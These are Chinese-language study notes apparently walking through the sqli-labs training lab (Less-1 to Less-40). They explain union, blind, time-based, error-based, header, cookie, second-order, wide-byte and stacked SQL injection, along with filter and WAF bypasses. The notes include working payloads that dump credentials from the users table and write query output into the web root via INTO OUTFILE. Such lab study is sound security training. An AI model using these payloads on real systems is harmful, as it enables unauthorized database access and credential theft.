sql注入
sql labs
自带数据库information_schema,存在两个表tables和columns
table_schema 储存了表名对应数据库名
table_name 储存了数据库对应数据表名
column_name 储存了数据库对应数据列名
columns_schema 储存了数据表名对应数据库名
注意table_name字段不是只存在于tables表,也是存在columns表中。
判断字符型注入/数字型注入
id = 1 and 1=2
当字符型注入,id为数值时,输入字符型将强制转换,转化成字符前的数字
及select * from users where id = ‘1 and 1=2’—->select * from users where id =’1’ 不会报错
当数字型注入
select * from users where id = 1 and 1=2—->1=2为错误语句产生报错
判断闭合方式
?id=1\ (\转义语句报错,\后面及为闭合符)
联合查询注入
1 | echo 'Your Login name:'. $row['username']; |
sql-labs Less-1
字符型注入
?id=1’ order by 数字–+
查看列数
?id=-1’ union select 1,2,3(直到列数)
爆出显示位置
?id=-1’union select 1,database(),version()–+
爆出版本和所在库
?id=-1’union select 1,2,(直到列数-1),group_concat(table_name) from information_schema.tables where table_schema=’security’–+
在information_schema库的tables表中查询security库所有的表
爆表
?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’–+
爆字段
?id=-1’ union select 1,2,group_concat(username,id,password) from users–+
sql-labs Less-2
数字型注入
与字符型注入一致,舍去?id=-1’中最后的’
sql-labs Less-3
先判断为字符型注入
输入?id=1’发现报错,根据报错信息发现格式应为?id=1’)
后根据基本方式进行构造
sql-labs Less-4
先判断为字符型注入
输入?id=1”发现报错,根据报错信息发现格式应为?id=1”)
后根据基本方式进行构造
布尔盲注
substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度
ascii()转化成ascii码
limit number1,number2 number1:第几行开始查看
number2:查几条数据
1 | echo 'You are in...........';(无回显信息返回) |
盲注脚本
整体思路无区别,先查询所在数据库,后查询数据表,列,最后字段
个体字母匹配
1 | k=1 |
代码为查询列表名
1 | (select table_name from information_schema.tables where table_schema=database() limit {},1 ) |
burp抓包
localhost无法抓包,调用本地ip地址 ipconfig
sql-labs Less-5
1 | echo 'You are in...........';(不显示回显信息) |
先判断为字符型注入
由于无回现信息,只有对错信息选择使用布尔盲注
先确定格式为单引号?id=1’
用布尔盲注脚本进行爆破
sql-labs Less-6
?id=1”
sql-labs Less-7
1 | echo 'You have an error in your SQL syntax'; |
?id=1’))
可以使用盲注
用outfile函数及将结果导出到文本中
1 | id=1')) and (select count(*) from mysql.user)>0 --+(测试读取权限,返回正常则可读取) |
1 | id=-1')) union select 1,2,database() into outfile "D:/phpstudy_pro/WWW/sqli-labs-master/Less-7/1.txt"--+ |
sql-labs Less-8
?id=1’
与第七题类似盲注和导出都可以使用
延时注入
1 | if($row) |
对错输出相同,无法通过布尔盲注进行注入
1 | ?id=1' and sleep(5)--+ ---->SELECT * FROM users WHERE id='1' and sleep(5) -- LIMIT 0,1 (延迟5秒) |
1 | ?id=1 and sleep(5)--+ ---->SELECT * FROM users WHERE id='1' (不延迟) |
sql-labs Less-9
通过时间延迟确定为单引号
?id=1’
time.time()获取当前时间的时间戳
通过时间延迟判断语句正确性
1 | if(a,b,c) (如果a语句为真,执行b,a语句为假,执行b) |
将布尔盲注的正确语句判断改为时间戳的判断,大于等于延迟时间即为输出匹配字符
sql-labs Less-10
?id=1’’
与第九题类似
POST
POST 数据里面不能有 +
,转换为空格
1 | if(isset($_POST['uname']) && isset($_POST['passwd'])) |
sql-labs Less-11
1 | ?id=1' or 1=1# |
确定语句闭合后,用联合注入获取数据库信息
sql-labs Less-12
1 | $uname='"'.$uname.'"'; |
?id=1”)
联合注入
sql-labs Less-13
1 | //echo "<br>"; |
1 | echo '<img src="../images/flag.jpg" />'; |
1 | url="http://172.17.135.76:8082/sqli-labs-master/Less-13/" |
?id=1’)
布尔盲注
sql-labs Less-14
1 | $uname='"'.$uname.'"'; |
?id=1”
布尔盲注(与less-13一致)
sql-labs Less-15
1 | //print_r(mysql_error());(无详细报错) |
?id=1’
布尔盲注(与less-13一致)
sql-labs Less-16
?id=1”)
布尔盲注(与less-13一致
报错注入
updatexml()
用非xpath语句格式产生语法报错
1 | updatexml(xml_target,xpath_expr,new_xml) |
1 | 基本格式:... and updatexml(1,concat(0x7e,执行语句),1) |
extractvalu()
1 | extractvalue(xml,value) |
1 | 基本格式:... and extractvalue(1,concat(0x7e,执行语句)) |
concat_ws(‘#’,a,b) 以#间隔a,b
sql-labs Less-17
1 | get_magic_quotes_gpc() 判断magic_quotes_gpc是否打开 |
1 | 爆数据表: |
1 | 爆数据:(不能使用concat?,所以引入派生表) |
sql-labs Less-18
尝试username和password未果
1 | $uname = check_input($_POST['uname']); |
输入正确时发现回显User-Agent 尝试注入User-Agent
修改User-Agent=’ 发现报错,确定注入点为User-Agent
进行报错注入
插入 updatexml() 报错时要用 OR 进行连接
1 | $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; |
sql-labs Less-19
同less-18
注入点为Referer
sql-labs Less-20
注入点为Cookie
正确查询后输出查询信息 可用联合查询注入
报错注入也可以使用
sql-labs Less-21
同less-20
闭合为 ’)
cookie 经过base64加密
sql-labs Less-22
同less-21
闭合为“
sql-labs Less-23
1 | $reg = "/#/"; |
手动闭合: ?id=-1’ union select 1,database(),3 and ‘1’=’1 (and 并列3和‘1’ and ‘1)
二次注入
第一次注入未生效,其他语句进行二次调用时出发
sql-labs Less-24
1 | $username= $_SESSION["username"]; |
未进行检查直接进行调用
绕过
双写绕过 or=oorr (一次过滤)
url编码绕过
大小写绕过 or =Or=oR=OR
添加注释 /*or*/
符号绕过 and =&& or=||
特殊符号绕过
(特殊符号部分window无法解析)
sql-labs Less-25
1 | $id= preg_replace('/or/i',"", $id); |
双写绕过即可
id=’$id’
sql-labs Less-25a
同less-25
无法使用报错注入,更改闭合即可
id=$id
1 | //print_r(mysql_error()); |
sql-labs Less-26
1 | $id= preg_replace('/[\/\*]/',"", $id); (过滤\*) |
过滤or和and 采用双写,大小写,或符号进行绕过
过滤注释采用 闭合绕过 或 ;%00
过滤空格可以使用特殊符号进行绕过,部分语言可以用()进行连接
(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))
id=’$id’
sql-labs Less-26a
无法使用报错注入
更改闭合方式,进行盲注
id=(‘$id’)
sql-labs Less-27
1 | $id= preg_replace('/select/m',"", $id); (过滤select严格模式,即无法使用双写进行绕过) |
大小写绕过
id=(‘$id’)
sql-labs Less-27a
无法使用报错注入
更改闭合方式,进行盲注
id=”$id”
sql-labs Less-28
1 | $id= preg_replace('/union\s+select/i',"", $id); (过滤union select,不单独过滤union和select) |
id=(‘$id’)
盲注
sql-labs Less-28a
id=(‘$id’)
同less-28
http参数污染(HPP)
waf绕过
用get或post对同一参数进行多次传参,进行不同处理,造成覆盖绕过waf
sql-labs Less-29
1 | /^\d+$/ (匹配纯数字字段,^匹配字符串开头,\d匹配数字字符,+匹配前面元素多次,$匹配字符串结尾) |
1 | function java_implimentation($query_string) |
java_implimentatiom()函数输出的为第一次id的传参,即当对id进行多次传参后,对字符串的检测仍只有第一段,可通过后续传参对数据库进行注入
&进行连接
sql-labs Less-30
修改闭合方式
id=”$id”
同less-29
sql-labs Less-31
修改闭合方式
id=(”$id”)
同less-29
宽字节注入
MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c
就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加 反斜杠 \
,所以这里想办法干掉反斜杠即可
1 | $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); (\ 转换为 \\) |
1 | mysql_query("SET NAMES gbk") (当数据库的编码为GBK,可以使用宽字节注入) |
sql-labs Less-32
通过 %df 等 吃掉 \
1 | ?id=-1%aa%27 union select 1,2,database()--+ |
‘ 自动被转义成 \‘
网页输入自动转化为%5c%27
‘ 前添加 %df等 与%5c 构成%df%5c 而在GBK中%df%5c可转化为汉字,从而实现 ‘ 的逃逸
“users”可转化成十六进制进行输入
id=’$id’
sql-labs Less-33
1 | $string= addslashes($string) (对预定义字符前添加反斜杠) |
id=’$id’
同Less-32
sql-labs Less-34
1 | $uname = addslashes($uname1); |
get型提交数据直接以url形式提交 遇到%27%bb直接当作url编码处理
post型提交数据则当作正常数据,对%进行url编码,使得%进行二次编码成为%25
因此post传参进行宽字节注入时无法直接输入%dd等进行构造,
但可以输入部分三个字节的汉字进行构造,转义后每两个字节构造成汉字,从而实现 ‘ 的逃逸
UTF-8 的'
转换为 UTF-16 的�'
实现注入的方法(�=%EF%BF%BD)
或者进行burp抓包后对传参进行修改
sql-labs Less-35
id=$id
1 | $id=check_addslashes($_GET['id']); |
sql-labs Less-36
1 | $string= mysql_real_escape_string($string) |
id=’$id’
sql-labs Less-37
1 | $uname = mysql_real_escape_string($uname1); |
同Less-34
username=’$uname’
堆叠注入
mysql命令行以 ; 结束,堆叠注入即为在 ; 后添加要执行的sql语句
1 | mysqli_multi_query() 执行多条sql语句 |
添加sql语句需以 ; 结尾
堆叠注入部分环境不适用,同时web中通常返回第一个查询结果,忽略后续查询结果,但堆叠注入可以对数据库产生任意修改
mysqli_connect_error:返回上一次发生错误的描述(在最后一次连接调用期间)。
sql-labs Less-38
id=’$id’
sql-labs Less-39
id=$id
sql-labs Less-40
id=(’$id’)